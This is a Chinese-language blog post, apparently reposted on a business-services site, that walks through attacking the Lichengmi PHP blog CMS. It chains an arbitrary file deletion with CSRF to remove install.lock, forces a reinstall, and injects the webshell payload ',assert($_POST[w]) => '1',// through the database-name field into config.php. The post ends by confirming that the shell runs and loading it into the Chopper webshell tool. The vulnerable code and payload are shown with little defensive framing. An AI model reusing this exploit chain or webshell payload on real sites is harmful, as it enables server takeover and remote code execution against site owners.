里程密PHP开源博客系统任意文件删除+csrf+重装C
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
任意文件删除结合csrf重装cms拿下webshell 跟踪到./Application/Admin/Controller/MaintainController.class.php display(); } public function doClear(){ $path = "./Application/Runtime/"; $data = $_POST['data']; $count = count($data); for ($i=0; $i <$count ; $i++) { $this->dirDel($path.$data[$i]."/"); } $this->success("清除成功"); } public function dirDel($path){ if(!is_dir($path)){ $this->error($path."并没有这个文件夹"); } $hand = opendir($path); while(($file = readdir($hand))!==false){ if($file=="."||$file=="..") continue; if(is_dir($path."/".$file)){ $this->dirDel($path."/".$file); }else{ @unlink($path."/".$file); } } closedir($hand); @rmdir($path); } public function deldata(){ $name = $_GET['name']; if(empty($name)){ $this->error("没有文件"); }else{ $result = unlink($this->path.$name); $this->myRelust($result); } } public function databackups(){ $arr = $this->my_scandir($this->path); $this->assign("list",$arr); $this->display(); } public function dobackups(){ header("Content-type: text/html; charset=utf-8"); $name = $_POST['name']?$_POST['name']:date("Y-m-d",time()); $this->Mydb(); //连接数据库 $sql=$this->sqlcreate(); $sql2=$this->sqlinsert(); $data=$sql.$sql2; $result = file_put_contents($this->path."{$name}(".time().").sql", $data); $this->myRelust($result);}//代码过多,后面的省略 我们主要看看deldata()方法,它是用来删除缓存文件的,可是出现了瑕疵,让我们有机可乘,我们来分析一下,将get传输过来的name值赋值给$name随后判断$name值是否为空,如果为空返回“没有文件”并且退出,反之执行删除$name这个文件,$this->path这个成员属性就已经被赋好值了,它的路径就是根目录下的database这个目录。 跟进./Application/Install/Controller/InstallController.class.php程序安装文件 redirect('Index/index');} if(Storage::has(MODULE_PATH . 'Data/install.lock')){$this->error('已经成功安装了里程密,请不要重复安装!');}} //安装第一步,检测运行所需的环境设置public function step1(){session('error', false); //环境检测$env = check_env(); //目录文件读写检测if(IS_WRITE){$dirfile = check_dirfile();$this->assign('dirfile', $dirfile);} //函数检测$func = check_func(); session('step', 1); $this->assign('env', $env);$this->assign('func', $func);$this->display();} //安装第二步,创建数据库public function step2($db = null, $admin = null){if(IS_POST){//检测管理员信息if(!is_array($admin) || empty($admin[0]) || empty($admin[1]) || empty($admin[2])){$this->error('请填写完整管理员信息');} else if($admin[1] != $admin[2]){$this->error('确认密码和密码不一致');} else {$info = array();list($info['username'], $info['password'], $info['repassword'])= $admin;//缓存管理员信息session('admin_info', $info);} //检测数据库配置if(!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3])){$this->error('请填写完整的数据库配置');} else {$DB = array();list($DB['DB_TYPE'], $DB['DB_HOST'], $DB['DB_NAME'], $DB['DB_USER'], $DB['DB_PWD'], $DB['DB_PORT'], $DB['DB_PREFIX']) = $db;//缓存数据库配置session('db_config', $DB); //创建数据库$dbname = $DB['DB_NAME'];unset($DB['DB_NAME']);$db = Db::getInstance($DB);$sql = "CREATE DATABASE IF NOT EXISTS `{$dbname}` DEFAULT CHARACTER SET utf8";$db->execute($sql) || $this->error($db->getError());} //跳转到数据库安装页面$this->redirect('step3');} else { session('error') && $this->error('环境检测没有通过,请调整环境后重试!');$step = session('step');if($step != 1 && $step != 2){$this->redirect('step1');} session('step', 2);$this->display();}} //安装第三步,安装数据表,创建配置文件public function step3(){if(session('step') != 2){$this->redirect('step2');} $this->display(); //连接数据库$dbconfig = session('db_config');$db = Db::getInstance($dbconfig); //创建数据表create_tables($db, $dbconfig['DB_PREFIX']); //注册创始人帐号$admin = session('admin_info');register_administrator($db, $dbconfig['DB_PREFIX'], $admin); //创建配置文件$conf = write_config($dbconfig);session('config_file',$conf);if(session('error')){//show_msg();} else {session('step', 3);$this->redirect('Index/complete');}}} 这里我就不一个个的说了,大概的解释下意思,从这个step2()方法讲着走,最开始就是判断POST有没有传过来值接着判断管理员信息是否填写完整,上面的判断通过之后就到了判断$admin[1]是不是等于$admin[2],如果以上的通过那么就定义一个$info数组,接着用list()列表函数来将$admin数组的值分配到$info数组,用session来缓存管理员的信息。接着是检测数据库信息是否填写完整,若填写完整就创建数据库,若上面的执行无误就跳到step3()这个方法,连接数据库,创建表,写入信息之类的,接着就是创建配置文件了,我们可以看到,在安装的时候,整个文件没有对POST传进来的值做任何过滤。 配置文件位置:./Application/Common/Conf/config.php '配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => '123', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => 'blog_', // 数据库表前缀 'SHOW_PAGE_TRACE' =>false, // 'SHOW_ERROR_MSG' => false, 'MODULE_DENY_LIST' => array('Common','Runtime'), 'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式 'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置 'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!', 'ERROR_PAGE' =>'./Public/Default/error_page/error.html', ); 这是配置文件的代码,返回一个数组,我们想办法插个一句话进去, Pyload:',assert($_POST[w]) => '1',// 上面这段就是插入的pyload 具体看下面的代码咋插 '配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => '123',assert($_POST[w]) => '1',//', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => 'blog_', // 数据库表前缀 'SHOW_PAGE_TRACE' =>false, // 'SHOW_ERROR_MSG' => false, 'MODULE_DENY_LIST' => array('Common','Runtime'), 'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式 'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置 'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!', 'ERROR_PAGE' =>'./Public/Default/error_page/error.html', ); 至于这个为啥要这么插入,相信有基础的人都知道了,我就不细说了 现在我们来实现这个漏洞,通过csrf,让管理来触发删除./Application/Install/Data/install.lock这个安装时创建的文件,接着该怎么写呢?很简单,只需要一个标签足够了 就这样就可以了,前提是管理员已经登陆,接着走吧! 我将上面的图片标签写到web服务器的csrf.html上进行访问 现在我以管理员的身份登陆了。 再看看触发csrf之前./Application/Install/Data这个目录中存在的文件: 有三个文件,分别是: Install.sql Install.lock Conf.tpl 访问:http://www.only-wait.cn/csrf.html就可以将install.lock删掉 我们执行下csrf那个页面,再看看data目录下: Install.lock这个文件没有了,这就导致这套cms重装了。 刷新过后看到了安装页面,接着这里我们要用到前面写的 pyload:xxx',assert($_POST[w]) => '1',// 在数据库名这里填上pyload。 安装完成! 看看配置文件 '配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => 'xxx',assert($_POST[w]) => '1',//', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => 'blog_', // 数据库表前缀 'SHOW_PAGE_TRACE' =>false, // 'SHOW_ERROR_MSG' => false, 'MODULE_DENY_LIST' => array('Common','Runtime'), 'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式 'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置 'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!', 'ERROR_PAGE' =>'./Public/Default/error_page/error.html', ); 这样webshell就写了进来,去看看能不能执行。 Ok,完全没问题。放进菜刀吧!
- 上一篇:PHP被遗漏的执行函数
- 下一篇:Linux实现文件上传ftp服务器脚本代码